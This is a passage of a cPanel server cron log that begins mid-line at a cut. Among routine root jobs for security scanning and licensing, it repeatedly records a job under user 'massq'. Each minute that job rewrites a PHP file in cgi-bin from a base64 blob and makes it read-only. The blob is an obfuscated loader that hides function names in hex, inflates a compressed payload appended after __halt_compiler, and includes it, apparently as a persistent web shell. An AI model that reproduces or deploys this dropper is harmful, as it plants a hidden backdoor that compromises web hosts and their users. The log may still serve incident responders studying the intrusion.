ouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:28:01 server CROND[30073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:28:01 server CROND[30074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:28:01 server CROND[30077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:29:01 server CROND[30465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:29:01 server CROND[30466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:29:01 server CROND[30467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:30:01 server CROND[30850]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 06:30:01 server CROND[30853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:30:01 server CROND[30854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:30:01 server CROND[30852]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:30:01 server CROND[30856]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:30:01 server CROND[30857]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 06:30:01 server CROND[30855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:30:01 server CROND[30851]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 06:31:01 server CROND[31683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:31:01 server CROND[31684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:31:01 server CROND[31685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:32:01 server CROND[32144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:32:01 server CROND[32145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:32:01 server CROND[32146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:33:01 server CROND[32537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:33:01 server CROND[32536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:33:01 server CROND[32538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:34:02 server CROND[459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:34:02 server CROND[460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:34:02 server CROND[461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:35:01 server CROND[880]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 06:35:01 server CROND[881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:35:01 server CROND[883]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:35:01 server CROND[882]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 06:35:01 server CROND[885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:35:01 server CROND[887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:35:01 server CROND[889]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 06:35:01 server CROND[888]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 06:35:01 server CROND[890]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:36:01 server CROND[1810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:36:01 server CROND[1811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:36:01 server CROND[1813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:37:01 server CROND[2331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:37:01 server CROND[2332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:37:01 server CROND[2333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:38:01 server CROND[2732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:38:01 server CROND[2733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:38:01 server CROND[2734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:39:01 server CROND[3112]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 06:39:01 server CROND[3115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:39:01 server CROND[3116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:39:01 server CROND[3114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
